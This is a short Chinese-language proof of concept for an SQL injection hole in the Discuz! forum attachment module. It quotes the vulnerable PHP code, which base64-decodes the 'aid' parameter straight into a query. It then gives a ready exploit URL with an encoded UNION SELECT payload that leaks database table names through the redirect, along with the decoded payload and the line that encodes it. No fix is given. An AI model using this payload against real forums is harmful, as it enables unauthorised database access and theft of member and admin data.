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文件：source\module\forum\forum_attachment.php
if(!defined('IN_DISCUZ')) {
exit('Access Denied');
}
define('NOROBOT', TRUE);
@list($_G['gp_aid'], $_G['gp_k'], $_G['gp_t'], $_G['gp_uid'], $_G['gp_tableid']) = explode('|',
base64_decode($_G['gp_aid']));
if(!empty($_G['gp_findpost']) && ($attach = DB::fetch_first("SELECT pid, tid FROM ".DB::table
('forum_attachment')." WHERE aid='$_G[gp_aid]'"))) {
dheader('location: forum.php?mod=redirect&goto=findpost&pid='.$attach['pid'].'&ptid='.$attach
['tid']);
}
变量aid 直接base64_decode 后传入 SQL查询，造成注射漏洞。。。
http://www.xxxx.net/forum.php?
mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tI
ElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FI
Gxpa2UgJyVfbWVtYmVyfHh8eHx4fHg%3D
转向后网址
http://www.xxxx.net/forum.php?
mod=redirect&goto=findpost&pid=1&ptid=pre_common_admincp_member
暴出表名 pre_common_admincp_member
实际查询为：
$x="1' and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where
TABLE_SCHEMA=database() and TABLE_NAME like '%_member|x|x|x|x";
//die (urlencode(base64_encode($x)));
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